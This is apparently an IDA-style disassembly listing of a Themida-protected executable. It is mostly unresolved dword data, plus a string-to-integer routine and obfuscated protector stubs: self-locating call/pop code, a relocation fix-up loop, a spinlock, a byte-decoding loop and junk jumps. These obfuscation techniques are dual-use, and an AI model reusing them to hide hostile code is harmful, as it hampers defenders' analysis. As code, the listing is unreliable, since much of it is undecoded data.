		dd 0BE0ADB81h, 3890Fh, 0EE800000h, 0C7D38BA7h, 6, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 1B964DC6h, 6A5E59B3h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 1458C355h, 0F4E4E2DBh
		dd 6601716Ch, 8378D0BBh, 840F00F8h, 0C57h, 2BC9BD31h, 0F88305E7h
		dd 0A5850F01h, 8B000001h, 0E702FD95h, 958D8905h, 0B805E700h
		dd 0
		dd 0F4AB260h, 0B61D3BFh, 0B840FC0h, 8B000001h, 0E716D195h
		dd 1F88305h, 113840Fh, 8D290000h, 5E70959h, 0F03F883h
		dd 8384h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0BD5DC1B3h, 0DBE919C6h, 2BD88A61h
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 6501A5C9h, 8465AD20h, 0D2BF0F3Ah, 2829958Bh
		dd 0BD8D05E7h, 5B7974h,	19FD9D89h, 0E7FF05E7h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 46C35040h, 0D98B575Bh
		dd 1B8h, 31958B00h, 8D05E723h, 5B7974BDh, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
		dd 8BDA073Ah, 0B7743699h, 880F4F20h, 3,	66EFDB80h, 0FFF22CBBh
		dd 7E8E7h, 0AF990000h, 649459A0h, 13E984h, 0E9D30000h
		dd 0FE43D60Dh, 0AF291F79h, 191426F0h, 0D5FD63FFh, 0BD8D5A0Fh
		dd 5E74326h, 2EBDB509h,	5E905E7h, 8B000003h, 0E727A59Dh
		dd 0F585C705h, 505E74Ch, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 92B5C353h
		dd 6890F0Dh, 8B000000h,	0E7090595h, 5B805h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0E930F1C3h, 0A27h, 0EA81D48Ah, 3C136584h, 0F02F883h
		dd 0DB85h, 0F5DA8100h, 0B874520Fh, 0
		dd 0E85F95BAh, 0FC00B11h, 9084h, 11D7BA00h, 0F8830DF6h
		dd 6E840F01h, 6AFFFFFFh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 9511C356h, 0CC864EE2h
		dd 0DD5DBB66h, 0F03F883h, 0FFFEBF84h, 0E28166FFh, 0C02B0B9Bh
		dd 35D958Bh, 0BD8D05E7h, 5B7974h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 6DC35646h, 0E65555BAh, 9C57D3FCh
		dd 0BD8B5260h, 5E72BDDh, 0B77CBE5Bh, 8B617093h,	0E719E995h
		dd 81E7FF05h, 6F228CD3h, 1EBD8D49h, 6605E745h, 0DDE9D38Bh
		dd 6A000001h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 7972C353h, 9529DB1Bh, 5E71881h
		dd 0F03F883h, 7585h, 0CE800h, 4C840000h, 9269006Dh, 1C343659h
		dd 800FE0F3h, 6, 21718D89h, 315B05E7h, 0E719B9B5h, 0B2BD8D05h
		dd 6A05E746h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 67B0C350h, 61E9EA8Ah, 6A000001h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 2DF4C355h, 8589BFBFh, 5E72801h, 0F8835B52h
		dd 31850F05h, 89000000h, 0E715DD95h, 8A9E905h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 763F0CC3h, 0BA88482Ah, 6CDCD0D8h, 0F06F883h,	4A85h
		dd 12E900h, 0BAD80000h,	51A34C92h, 0F7CAB5DAh, 0FD7E3D0Fh
		dd 64333D02h, 0AABD8DF9h, 8005E748h, 0D1E98AE6h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 79A8C355h, 0E5958B11h, 8305E713h,	850F07F8h
		dd 43h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh
		dd 71C35545h, 0D06F513Eh, 0F0808ABh, 687h, 1D9D8B00h, 8D05E722h
		dd 0E71D89BDh, 499D2B05h, 0E905E70Ch, 0C3h, 8323F280h
		dd 850F0AF8h, 58h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 69C35040h, 8968B499h,	0E70BE985h, 0A2BD8D05h
		dd 6A05E74Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 1515C357h, 45BE3C3Dh, 0E9C2CE80h
		dd 4, 5824BA66h, 0CB816657h, 1CB99F75h,	0B23EFE40h, 3F8333h
		dd 42840Fh, 0B70F0000h,	8B0F30D3h, 0E7136595h, 6AC9D105h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0C002C350h, 29EBE82Eh, 92D0763h, 0E71D11BDh
		dd 0D98B4705h, 0FFFFB8E9h, 0D3B70FFFh, 0BB66535Fh, 895AFD21h
		dd 0E74C9EBDh, 8D8DF905h, 5E706E5h, 0C93DBB66h,	0D82CDB81h
		dd 0B5FF4739h, 5E71701h, 1C899D0Bh, 858D05E7h, 5E9A7A6h
		dd 0BD8D50h, 8D05E754h,	0E76FD38Dh, 1ABCB805h, 0CF2B5483h
		dd 0C8D00730h, 0F8754947h, 6F8FB58Dh, 8D8D05E7h, 5E76FEBh
		dd 0A4F3CF2Bh, 0B8C933h, 0B000000h, 834674C0h, 0E71A4DBDh
		dd 6740005h, 0F195FFh, 0B58B05E7h, 5E74C9Eh, 0A7A6858Dh
		dd 0D0FF05E9h, 40FB858Dh, 0D0FF05E7h, 16A185C7h, 105E7h
		dd 0A58B0000h, 5E72D79h, 12DDB58Bh, 0AD8B05E7h,	5E70BD9h
		dd 0CC2C033h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 6636AB86h, 0B20E680h, 0E72E7D95h
		dd 0C8F0F05h, 0F000000h, 68Fh, 0AD8D8900h, 8105E703h, 28D59ACBh
		dd 91BD8325h, 5E711h, 45840Fh, 12E90000h, 2000000h, 0D60AD89Dh
		dd 0DDE2EAA2h, 0A380BED1h, 30867A65h, 0B195FF7Ah, 6A05E704h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 39D2C351h, 9DB663A2h, 2D9D2964h, 8305E725h
		dd 0E7183DBDh, 850F0005h, 1BDh,	24E59D33h, 0BD8305E7h
		dd 5E72B8Dh, 0AA850F01h, 8B000001h, 0E71CE595h,	8CBB6605h
		dd 6DBD83A8h, 5E716h, 193840Fh,	6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 5F70E0C3h
		dd 95897DFEh, 5E70189h,	4CF1BD83h, 0F0005E7h, 16084h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0E2F72792h, 644DFC68h, 16A58D01h, 858D05E7h,	5E9A7A6h
		dd 284D958Bh, 0BD0905E7h, 5E70591h, 4C9EB58Bh, 9D8905E7h
		dd 5E7033Dh, 0E062BB66h, 0BD89D0FFh, 5E71791h, 32A585C6h
		dd 815405E7h, 0F9DA05CAh, 1A896813h, 6E9CADCh, 0A4000000h
		dd 0A184FA0Ah, 243481D4h, 3592A47Dh, 899B5FFh, 9D0305E7h
		dd 5E728E9h, 392A858Dh,	6A05E7h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 3D65FCC3h, 6AD0FFh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0F43ECAC3h, 338EA04Eh, 14299D89h, 6A05E7h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 7DC35242h, 38D0FF7h
		dd 0F000000h, 0FF6AD1B7h, 95895653h, 5E72C39h, 0D0FF5B5Ah
		dd 2AED8501h, 0B5FF05E7h, 5E71CA9h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 0A8C35343h,	0ED11271Ch, 895E3F64h
		dd 0E71CF1B5h, 195FF05h, 6A05E717h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8BAAC357h
		dd 9EB58BD9h, 8B05E74Ch, 0E7194195h, 6AC305h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0ABFC9EC3h
		dd 0DE83084h, 8BFE8ADFh, 0E71185B5h, 57006A05h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0EF6128EEh
		dd 0D6BF0FD1h, 840FF60Bh, 2Ch, 6C6CFB2h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 850F5D6Dh, 4, 5AD78B50h, 4CA68589h, 816605E7h, 83F661F2h
		dd 840F00F8h, 403h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 41C35343h, 66603D5Dh,	66DF52B9h, 36CCA81h
		dd 0B861h, 0D6800000h, 13E81Bh,	57B40000h, 0B97BE4C7h
		dd 34100C8Ah, 0FC95B346h, 0DA6B19E8h, 13E937h, 576A0000h
		dd 0D956502Dh, 87CEE46Ch, 40B67C5Ch, 5D0B9580h,	0F8835A8Fh
		dd 12840F00h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 26E5C356h, 71C66537h
		dd 7595235Bh, 8305E712h, 850F02F8h, 0AAh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 14h, 84C35242h, 7CB8152h
		dd 5A78814Dh, 4321858Dh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 4D2463C3h, 558560FCh
		dd 7E9ED16h, 1000000h, 20A6A684h, 292D4064h, 2B000009h
		dd 0E7068995h, 69958B05h, 9005E716h, 0BB665250h, 310FCF23h
		dd 0A0E4BB66h, 8B50585Ah, 0BB290D3h, 52006AC3h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 428A4FA6h
		dd 0E3DA6F7Bh, 27E9B529h, 0B805E7h, 0B2000000h,	5E968h
		dd 31E10000h, 0E9AE0214h, 2A7h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h
		dd 35C35646h, 0B2B032B3h, 1B86Fh, 0F88A0000h, 4326BD8Dh
		dd 6E805E7h, 5A000000h,	70B24566h, 619D8B11h, 5A05E701h
		dd 133E9h, 48E0F00h, 66000000h,	839509BAh, 850F02F8h, 61h
		dd 0BD8DFA8Ah, 5E7451Eh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 14h, 0FCC35040h, 8E9h, 1B8C1900h, 0A37B462Ch
		dd 0EAE9F6h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0E18167C3h, 7D888DD0h, 8102646Ah
		dd 0A20A3BCBh, 3F88325h, 68850Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 709ACBC3h
		dd 9D2B8FC9h, 5E72475h,	19E99D8Bh, 0BD8D05E7h, 5E746B2h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0FEC35242h
		dd 62E901h, 0FE90000h, 0C2000000h, 624E4659h, 74D8878Ah
		dd 28F364A1h, 0F883E3CCh, 45850F05h, 6A000000h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 692C353h, 0F60B3EAh,	587h, 0DA816600h, 0C0E994A2h, 0E9000000h
		dd 10h,	0F91C1A4Ch, 8D78534Eh, 7C2357A0h, 0D9B0198Fh, 0BE857h
		dd 80540000h, 0C9A8B459h, 781F0257h, 5ADA8BB9h,	0FE401CB9h
		dd 0D081603Eh, 52E5FB18h, 2A898D09h, 836105E7h,	840F003Fh
		dd 7Bh,	11A59D89h, 0F3005E7h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 73C35040h, 33F81767h, 18E3B631h
		dd 1958B16h, 0D105E72Bh, 55006AC9h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 759D312Bh, 4705E71Dh
		dd 161D8589h, 8A0F05E7h, 6, 2B558589h, 88E905E7h, 0E9FFFFFFh
		dd 7, 4F219F1h,	83BE742Fh, 850F05F8h, 7Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 1CC35545h, 0BA4E3976h
		dd 482F695Bh, 29D98C66h, 0E7177185h, 4C1F605h, 30850Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 35E67CC3h, 0B8h, 0E2816600h, 18E9B5A1h, 80000000h
		dd 858BF0CEh, 5E70459h,	0A2C5E3BAh, 8BE0FF36h, 499D89D6h
		dd 8305E714h, 0E71701BDh, 850F0005h, 19Bh, 32E58D89h, 509005E7h
		dd 11E852h, 284E0000h, 0B84F44C1h, 983E8620h, 61455FDDh
		dd 8B371362h, 310F5BD6h, 5A5A5251h, 0E950585Ah,	0Bh, 0E42EC420h
		dd 53170830h, 9065A233h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 14h, 0D9C35141h, 85C6F58Ah, 5E732A5h, 55006A45h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0AE49008Dh, 5E946h, 7A400000h, 8907E453h, 0E71C3595h
		dd 4E805h, 69690000h, 0D88B8E72h, 108A0F50h, 0E8000000h
		dd 8, 544B8F5Eh, 0CD591BC7h, 8B5BDE8Ah,	8B042444h, 0E8008BD0h
		dd 0Ch,	0B4EBE563h, 97597542h, 0C2F04BBBh, 7D1FF1BBh, 44895A7Ch
		dd 52500424h, 13E8h, 0AB9FB00h,	557036FDh, 0E758C953h
		dd 84D7893h, 8B590EAh, 907969BAh, 310F5A3Ah, 4DE9BA66h
		dd 6A58585Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 95FC357h, 86277B3Ah, 45477C9Bh
		dd 0BE60D38Ah, 8B2327Bh, 0A71B501h, 0FF6105E7h,	0E70899B5h
		dd 8DD78B05h, 0E7392A85h, 2850F05h, 0B7000000h,	13E969h
		dd 0A61A0000h, 4DCA0B6Ch, 0AB8BDCD2h, 487E8E85h, 0DA4FF69Ch
		dd 0FD0FF43h, 8589D0B7h, 5E71701h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 23C35242h, 2AA7B85Ch, 0D9B8CE4Fh
		dd 81BA66EEh, 32BB5899h, 83770666h, 0E74CF5BDh,	840F0005h
		dd 33h,	0AE9h, 0FEE6E700h, 78355A26h, 8A51458Fh, 0A9B5FFF4h
		dd 2305E71Ch, 0E721A59Dh, 195FF05h, 8A05E717h, 0B50160F3h
		dd 5E719A5h, 3F98589h, 836105E7h, 850F00F8h, 0BBh, 0AE9h
		dd 0B17AAE00h, 5681188h, 661411BCh, 21A3D281h, 32C9BD83h
		dd 0F0005E7h, 4B84h, 0FFF88A00h, 0E732C9B5h, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0BD01B943h, 5E70771h, 6850Fh, 9D890000h, 5E728A1h, 1B8h
		dd 2810F00h, 0B7000000h, 240E969h, 0DA8B0000h, 1CA9B5FFh
		dd 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 958B63C3h, 5E7038Dh, 1CA9B5FFh, 958B05E7h
		dd 5E72165h, 1701B5FFh,	860F05E7h, 8, 28C0Fh, 5A510000h
		dd 1F1E9h, 5F44B700h, 1890Fh, 83F80000h, 0E708D9BDh, 850F0005h
		dd 10Ah, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Bh,	7BC35141h, 67103562h, 0E9678F2Ah, 0Ah, 6834E28Bh
		dd 0C829CEEEh, 85C69010h, 5E732A5h, 0DE8B664Dh,	0D9C0FF68h
		dd 0E9525067h, 11h, 0F53FA171h,	0BF08E885h, 0AE789A0h
		dd 0B18D1B5Bh, 0E8310FB9h, 7, 0DA8634D0h, 6632EE44h, 5A933DBBh
		dd 481585Ah, 5BB5A924h,	51006A3Ch, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 0BE208045h, 672782C1h
		dd 8B7FB39Bh, 0E721799Dh, 85B5FF05h, 6A05E717h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0E83FC351h, 0F0863A02h, 8DD64CB7h, 0E7392A85h, 5D858905h
		dd 0FF05E704h, 55006AD0h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0FD4DB7F7h, 0A195236Fh
		dd 8905E706h, 0E708D985h, 0CB816605h, 0B80E50h,	6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 10F1C357h, 65AADC63h, 399DFDDBh, 14799503h
		dd 89F805E7h, 0E74C9EBDh, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0FC00B22h
		dd 0B84h, 0E955B600h, 6Eh, 5AA2B352h, 1701B5FFh, 6A05E7h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 72300EC3h, 0BB548626h, 1F889BD7h, 0A7A6858Dh, 6A05E9h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0E70E2AC3h, 0B390DEB9h, 0FD8A50D6h, 8E990h, 6B340000h
		dd 5BB67977h, 0BB66A627h, 5650B0FCh, 5400BD8Dh,	8D8D05E7h
		dd 5E77BEEh, 8323BCB8h,	30CF2B74h, 47C8D007h, 5EF87549h
		dd 0C9BD8358h, 5E732h, 8D8B0674h, 5E71605h, 0B8C933h, 0B000000h
		dd 99840FC0h, 83000000h, 0E71A4DBDh, 6740005h, 0F195FFh
		dd 0B805E7h, 0B000000h,	830975C0h, 0E74CA6BDh, 9740105h
		dd 4CA6BD83h, 750205E7h, 9EB58B0Eh, 8D05E74Ch, 0E9A7A685h
		dd 8DD0FF05h, 0E740FB85h, 83D0FF05h, 0E724E9BDh, 2F750205h
		dd 2D79A58Bh, 858B05E7h, 5E732C9h, 0C7240489h, 0E716A185h
		dd 105h, 0A2B58B00h, 8B05E74Ch,	0E70BD9ADh, 1B805h, 0CC20000h
		dd 0C700EB00h, 0E716A185h, 105h, 79A58B00h, 8B05E72Dh
		dd 0E712DDB5h, 0D9AD8B05h, 3305E70Bh, 0CC2C0h
		dd 1191BD83h, 740005E7h, 0B1BD830Fh, 5E704h, 95FF0674h
		dd 5E704B1h, 4C9EB58Bh,	6AC305E7h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0BC41C350h
		dd 0A859BC8Dh, 0FF08A60h, 8Fh, 0D58A6100h, 6AD22Bh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 57BAB7C3h, 0B70F21FDh
		db 0DAh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_5468D5
; ---------------------------------------------------------------------------

loc_5468D3:				; CODE XREF: sub_542C3C+3C9Cj
		inc	eax
		inc	edi

loc_5468D5:				; CODE XREF: sub_542C3C+3C95j
		cmp	byte ptr [edi],	0
		jnz	short loc_5468D3
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_546904
; ---------------------------------------------------------------------------

loc_5468E1:				; CODE XREF: sub_542C3C+3CCAj
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_5468F9
; ---------------------------------------------------------------------------

loc_5468F6:				; CODE XREF: sub_542C3C+3CC0j
		mul	ebx
		dec	esi

loc_5468F9:				; CODE XREF: sub_542C3C+3CB8j
		cmp	esi, 0
		ja	short loc_5468F6
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax

loc_546904:				; CODE XREF: sub_542C3C+3CA3j
		or	eax, eax
		jnz	short loc_5468E1
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		dw 3160h
		dd 0E71BD99Dh, 0AE905h,	63C0000h, 0A5FA35ECh, 0E0800534h
		dd 0FE38161h, 0E80860E9h, 0Bh, 48EE7AFDh, 98AD656Ch, 171B3E2h
		dd 0E71F8995h, 958B5A05h, 5E71BC5h
; ---------------------------------------------------------------------------

loc_54694C:				; CODE XREF: sub_542C3C:loc_54389Ej
		mov	eax, ecx
		jmp	loc_56895E
; ---------------------------------------------------------------------------
		dd offset dword_5B142C
		db 3Fh
		dd 1E025A00h, 68005B19h, 12FFh,	28000000h, 1E025A00h, 46005B19h
		dd 2000002h, 1000000h, 2000000h, 0A5000000h, 0FA6CEBh
		dd 4 dup(0)
		dd 0EF000000h, 0CA0054F0h, 6F00547Fh, 0E005517h, 0C4005493h
		dd 9E005474h, 0CE005483h, 420054B6h, 0B9005520h, 95005480h
		dd 0BA0054FFh, 0D40054A0h, 110054A7h, 7E0054F9h, 28005521h
		dd 990054CDh, 3C0054C9h, 61005528h, 8A005484h, 0AA005482h
		dd 9F00547Eh, 620054BCh, 9C005503h, 750054EFh, 870054EFh
		dd 0A50054D7h, 6D00549Fh, 0F4005497h, 550054D3h, 7600550Ch
		dd 0FD0054EEh, 0BF0054EBh, 520054F5h, 320054E5h, 2D0054D9h
		dd 5B00546Dh, 580054AAh, 540054FFh, 3A005510h, 28005491h
		dd 3D005501h, 2B005498h, 350054E6h, 0CA0054F3h,	48005479h
		dd 1D0054DEh, 0D90054BDh, 0E80054CDh, 2100548Dh, 4C00550Eh
		dd 550054F8h, 5A0054B2h, 0CC0054C0h, 2C00549Bh,	6F005487h
		dd 0BE0054DDh, 830054ADh, 0F400549Dh, 8C0054CCh, 0D5005471h
		dd 0B10054F0h, 30054A0h, 70005504h, 0C7005529h,	2D005502h
		dd 2D0054FAh, 0B40054A7h, 0DE0054B5h, 0F40054DFh, 0E0005471h
		dd 0DB005502h, 26005529h, 0DE00549Ch, 78005477h, 4E005514h
		dd 0CB00549Bh, 580054B8h, 340054B0h, 0D5005475h, 830054BEh
		dd 0DB0054F4h, 4C005506h, 270054E3h, 0E00547Eh,	0B300549Dh
		dd 66005512h, 1D005486h, 10054BCh, 4C00551Dh, 0D30054B3h
		dd 140054E6h, 0BB0054A2h, 31005512h, 0AC00551Bh, 750054EFh
		dd 2F005489h, 3D00549Ch, 39005516h, 0EA00550Bh,	6100549Fh
		dd 5E0054FAh, 0AC00552Eh, 6E0054A2h, 630054A3h,	0B000551Bh
		dd 550054A3h, 0C80054C9h, 0C10054C0h, 83005506h, 0C0005501h
		dd 100054DBh, 0E700550Ah, 9800546Dh, 0FB005530h, 0D0054EEh
		dd 0C10054B4h, 0F900548Ch, 0D00054B6h, 0A2005497h, 88005471h
		dd 0CC0054F2h, 0DA00549Ah, 48005528h, 0CE005483h, 0BF0054D2h
		dd 0E200552Bh, 210054FDh, 9B00552Bh, 0A1005500h, 0BA0054FCh
		dd 4E005493h, 200552Eh,	1005478h, 5500547Fh, 0C80054A4h
		dd 0EC00546Ch, 0D00054A5h, 0AA005506h, 5B0054D1h, 0B30054B2h
		dd 0E900550Fh, 4D00546Eh, 0FB00549Ah, 300054E7h, 0B4005481h
		dd 9A005521h, 0B6005489h, 0D40054A4h, 2800550Eh, 840054B7h
		dd 1005503h, 2C0054AFh,	720054D1h, 0A40054BAh, 4E005491h
		dd 0EB0054B6h, 0FC0054FDh, 0E8005503h, 6B00548Bh, 0CB0054CAh
		dd 4000546Eh, 0BE0054EBh, 430054BDh, 0D200546Fh, 89005470h
		dd 0D40054D6h, 590054BBh
		db 0E0h, 54h, 0
; ---------------------------------------------------------------------------

loc_546C33:				; CODE XREF: Themida_:00573297j
					; Themida_:00578E32j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 5E78096h
		mov	eax, edi
		add	edi, 5E77DAEh
		cmp	eax, [edi+2Ch]
		jnz	short loc_546C51
		jmp	short loc_546C64
; ---------------------------------------------------------------------------

loc_546C51:				; CODE XREF: sub_542C3C+4011j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_546C60
; ---------------------------------------------------------------------------

loc_546C5B:				; CODE XREF: sub_542C3C+4026j
		add	[edi+ecx*4+40h], eax
		dec	ecx

loc_546C60:				; CODE XREF: sub_542C3C+401Dj
		or	ecx, ecx
		jnz	short loc_546C5B

loc_546C64:				; CODE XREF: sub_542C3C+4013j
		mov	esi, [esp+2Ch+var_8]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1

loc_546C71:				; CODE XREF: sub_542C3C+403Cj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_546C71

loc_546C7A:				; CODE XREF: sub_542C3C+4378j
					; sub_542C3C+577Ej ...
		lodsb
		add	al, 0BAh
		sub	al, bl
		push	edx
		push	ebx
		mov	bh, 8Fh
		mov	dh, 33h
		jmp	loc_54A94E
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 0BAB3E9h
		dd 24048100h, 4, 4C6815Eh, 52000000h, 82ACE9h, 6D685100h
		dd 5953491Bh, 0A06FE9h,	0E9525F00h, 647h, 5585450h, 4
		dd 98A2E9h, 66CB0000h, 83240C8Bh, 0C30002C4h, 2E3F68h
		dd 24048900h, 141DE9h, 0F7815B00h, 75204335h, 815FF829h
		dd 4ECh, 243C8900h, 61D768h, 241C8900h,	6ED2E9h, 0EC835100h
		dd 242C8904h, 8EC9E9h
		db 0
; ---------------------------------------------------------------------------

loc_546D19:				; CODE XREF: sub_542C3C+BDCAj
		add	esi, eax
		pop	eax
		add	esi, 4
		xchg	esi, [esp+30h+var_30]
		mov	esp, [esp+30h+var_30]
		jmp	loc_54EABC
; ---------------------------------------------------------------------------
		db 66h,	68h, 34h
		dd 0E954661Eh, 6F6Bh
; ---------------------------------------------------------------------------

loc_546D38:				; CODE XREF: sub_542C3C+6EF7j
					; sub_542C3C+76F1j
		push	4D05h
		jmp	loc_54AA27
; ---------------------------------------------------------------------------

loc_546D42:				; CODE XREF: sub_542C3C+4DD1j
		pop	edi
		xchg	esi, [esp+30h+var_30]
		pop	esp
		shr	eax, 0Ah
		xor	eax, ecx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		jmp	loc_551484
; ---------------------------------------------------------------------------
		db 80h
		dd 8E949F1h, 5A00001Ah,	3154F281h, 0E9535C6Ch, 9F32h
; ---------------------------------------------------------------------------

loc_546D6C:				; CODE XREF: sub_542C3C+7396j
		mov	eax, [esp+2Ch+var_2C]
		push	ecx
		push	esp
		jmp	loc_551971
; ---------------------------------------------------------------------------

loc_546D76:				; CODE XREF: sub_542C3C+AACEj
		sub	esi, ebx
		pop	ebx
		push	eax
		mov	eax, 44642DC1h
		xor	eax, 79114C47h
		sub	esi, eax
		push	[esp+34h+var_34]
		jmp	loc_54B4D1
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 81E18924h, 4C1h, 58BD5500h, 0C16D8A03h, 60E904EDh, 89000046h
		dd 0E389241Ch, 4B951h, 0C3810000h, 49C7941h, 380E9h, 24148700h
		dd 6624248Bh, 5224048Bh, 53E9E289h, 5A000069h, 5786CA81h
		dd 0EA81229Dh, 6D304E57h, 2F34F281h, 0D5E96EFDh, 66000085h
		dd 74FF6652h, 5A660224h, 24048F66h, 66F28766h, 2C876656h
		dd 0F5316624h, 66EE3166h, 0F766F531h, 964DE9D6h, 1C890000h
		dd 7EA5BB24h, 0C3811846h, 561153EDh, 0E381D3F7h, 6FDF429Dh
		dd 0B951DBF7h, 7CBC1D7Bh, 9614E949h, 0EC810000h, 4, 53240C89h
		dd 80DDB450h, 0E4C053CCh, 1DD6E902h, 0D1000000h, 5ABCE980h
		dd 99E95166h, 8900001Fh, 4812424h, 424h, 0E9565A00h, 7B23h
; ---------------------------------------------------------------------------

loc_546E68:				; CODE XREF: sub_542C3C+839Ej
		sub	ebx, 29591375h
		add	dword ptr [ebx], 1
		push	[esp+38h+var_38]
		pop	ebx
		jmp	loc_5492BA
; ---------------------------------------------------------------------------

loc_546E7D:				; CODE XREF: sub_542C3C+7741j
		sub	esi, 45FC4354h
		jmp	loc_553049
; ---------------------------------------------------------------------------
		dd 89241C89h, 4FE2E9E3h, 0EA290000h, 6F17C281h,	2C8B02B6h
		dd 0C22E924h, 0D5F70000h, 0CBB95156h, 513FC05Fh, 592414F7h
		dd 0C981D9F7h, 2A1405EEh, 0C981D9F7h, 34045085h, 547BBA52h
